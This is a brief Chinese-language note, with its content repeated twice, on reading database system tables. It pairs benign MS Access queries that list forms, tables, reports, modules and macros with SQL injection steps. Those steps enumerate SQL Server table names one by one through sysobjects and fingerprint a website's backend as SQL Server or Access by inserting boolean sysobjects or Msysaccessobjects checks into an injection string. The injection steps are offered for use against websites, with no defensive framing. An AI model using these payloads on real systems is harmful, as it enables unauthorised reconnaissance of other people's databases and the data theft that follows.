使用直接的查询语句获取ACCESS数据库中的表名/窗体/报表/模块/查询/宏
---------------------------------------------------------------------------
查询:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=5 ORDER BY MSysObjects.Name;
窗体:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=-32768 ORDER BY MSysObjects.Name;
表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (Left$([Name],4) <> "Msys") AND (MSysObjects.Type)=1 ORDER BY MSysObjects.Name;
报表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32764 ORDER BY MSysObjects.Name;
模块:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32761 ORDER BY MSysObjects.Name;
宏:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32766 ORDER BY MSysObjects.Name;
使用直接的查询语句获取SQL数据库表名的方法
-----------------------------------------------------------------------
我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的
以此类推,我们可以得到所有的用户表的名字了
使用数据库的系统表对象来判断网站中使用的是何种数据库格式(SQL/ACCESS)
-----------------------------------------------------------------------
我们可以在注入串中加上一个查询语句:
(select count(*) from sysobjects)>=0
如果查询结果成立,即是使用SQL数据库的,反之否.
加以下语句可判断是否为ACCESS:
(select count(*) from Msysaccessobjects)>=0
如果查询结果成立,即是ACCESS数据库,反之否.
---------------------------------------------------------------------------
查询:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=5 ORDER BY MSysObjects.Name;
窗体:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=-32768 ORDER BY MSysObjects.Name;
表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (Left$([Name],4) <> "Msys") AND (MSysObjects.Type)=1 ORDER BY MSysObjects.Name;
报表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32764 ORDER BY MSysObjects.Name;
模块:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32761 ORDER BY MSysObjects.Name;
宏:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32766 ORDER BY MSysObjects.Name;
使用直接的查询语句获取SQL数据库表名的方法
-----------------------------------------------------------------------
我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的
以此类推,我们可以得到所有的用户表的名字了
使用数据库的系统表对象来判断网站中使用的是何种数据库格式(SQL/ACCESS)
-----------------------------------------------------------------------
我们可以在注入串中加上一个查询语句:
(select count(*) from sysobjects)>=0
如果查询结果成立,即是使用SQL数据库的,反之否.
加以下语句可判断是否为ACCESS:
(select count(*) from Msysaccessobjects)>=0
如果查询结果成立,即是ACCESS数据库,反之否.